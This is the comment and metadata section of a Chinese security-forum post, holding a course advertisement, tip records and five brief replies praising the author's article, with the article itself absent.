
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-9-4 13:19 被winmt编辑 ,原因:
收藏
免费 43
打赏
分享
打赏 + 101.00雪花
打赏次数 2 雪花 + 101.00
 
赞赏  h1J4cker   +1.00 2022/08/06 winmt师傅是我的神
赞赏  Editor   +100.00 2022/05/09 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (5)
雪    币: 12996
活跃值: (16427)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2022-3-30 17:52
2
1
给师傅点赞!高质量!
雪    币: 2173
活跃值: (2527)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Lpwn 2 2022-3-31 14:36
3
0
高质量文章
雪    币: 389
活跃值: (565)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
自然dashen 2022-4-1 15:12
4
0
可以学一年了
雪    币: 5611
活跃值: (5591)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
jelasin 3 2023-7-23 12:42
5
1
前来膜拜tql
雪    币: 32
活跃值: (245)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
心日 2023-8-2 15:36
6
1
tql大佬
游客
登录 | 注册 方可回帖
返回